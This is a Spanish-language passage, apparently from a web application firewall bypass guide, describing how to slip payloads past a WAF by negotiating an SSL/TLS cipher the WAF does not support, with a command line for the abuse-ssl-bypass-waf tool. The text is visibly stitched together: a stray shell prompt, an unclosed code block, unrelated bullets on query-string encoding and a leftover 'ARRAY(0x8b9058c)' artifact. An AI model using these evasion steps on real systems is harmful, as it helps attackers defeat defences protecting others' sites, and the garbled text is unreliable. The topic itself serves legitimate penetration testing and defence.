> Sin embargo, el problema de usar las estructuras sintácticas anteriores son los payloads largos que posiblemente podrían ser detectados por el WAF o ser bloqueados por el CSP. Sin embargo, nunca se sabe, también podrían eludir el CSP (si está presente). ;)

### Abusando de los Cifrados SSL/TLS:
- Muchas veces, los servidores aceptan conexiones de varios cifrados y versiones SSL/TLS.
- Usar un cifrado para inicializar una conexión al servidor que no sea soportado por el WAF puede hacer nuestro trabajo.

#### Técnica:
- Descubra los cifrados soportados por el firewall (generalmente la documentación del proveedor del WAF discute esto).
- Descubra los cifrados soportados por el servidor (herramientas como [SSLScan](https://github.com/rbsec/sslscan) ayudan aquí).
- Si se encuentra un cifrado específico no soportado por el WAF pero sí por el servidor, ¡voilà!
- Iniciar una nueva conexión al servidor con ese cifrado específico debería pasar de contrabando nuestro payload.

> __Herramienta__: [abuse-ssl-bypass-waf](https://github.com/LandGrey/abuse-ssl-bypass-waf)```
python abuse-ssl-bypass-waf.py -thread 4 -target <target>
root@kitploit:~

---

[Read more](https://github.com/0xinfection/awesome-waf)
  • Cadena de consulta en su formato original (puede estar codificada URL como de costumbre).
  • El cuerpo puede enviarse con o sin codificación URL.
  • El signo igual y el ampersand no deben codificarse de ninguna forma.
ARRAY(0x8b9058c)